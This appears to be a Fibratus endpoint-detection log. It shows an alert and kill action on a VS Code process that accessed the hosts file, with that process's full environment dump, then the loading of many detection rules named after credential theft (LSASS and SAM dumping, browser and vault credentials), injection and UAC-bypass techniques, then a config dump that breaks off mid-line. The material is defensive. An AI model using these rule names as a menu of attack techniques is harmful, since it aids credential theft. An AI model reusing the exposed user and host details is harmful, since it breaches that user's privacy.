file_pathâžœ C:\WINDOWS\system32\drivers\etc\hosts, irpâžœ ffffc10b5d7e70f8, share_maskâžœ READ|WRITE|DELETE, statusâžœ Success, tidâžœ 16208, typeâžœ Directory + Metadata: technique.ref: https://attack.mitre.org/techniques/T1562/001/, tactic.id: TA0005, rule.seq.link: 3756002342630064128, rule.name: Suspicious access to the hosts file, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools + + Pid: 17320 + Ppid: 1364 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1748,i,7387998963603097639,11599257567599535580,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1748,i,7387998963603097639,11599257567599535580,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_1364_CLHRMWOWZWJQQGEF COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_7936_1262719628:1 EFC_7936_1592913036:1 EFC_7936_2283032206:1 EFC_7936_2775293581:1 EFC_7936_3789132940:1 ELECTRON_RUN_AS_NODE:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\1e3c50d64110be466c0b4a45222e81d2c9352888 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.106.2-main-sock VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:1364 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-09T18:50:12+01:00 level=info msg=executing kill action: pids=[17320] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-12-10T16:15:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:15:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-10T16:15:27+01:00 level=info msg=bootstrapping with pid 5160. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-10T16:15:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-net=>true flush-interval=>1s enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-dns=>false enable-mem=>false enable-thread=>true stack-enrichment=>true max-buffers=>36 buffer-size=>512 min-buffers=>16 enable-threadpool=>false enable-audit-api=>true enable-vamap=>true enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST serializer=>json enable-gzip=>false enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ tls-insecure-skip-verify=>false enabled=>false passive=>false exchange=>fibratus delivery-mode=>transient vhost=>/ exchange-type=>topic timeout=>5s durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] elasticsearch=>[ healthcheck=>true index-name=>fibratus sniff=>false flush-period=>1s trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s enabled=>false timeout=>5s]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-mmaps=>false enabled=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-10T16:15:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:15:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:15:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:15:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:15:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:17:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from 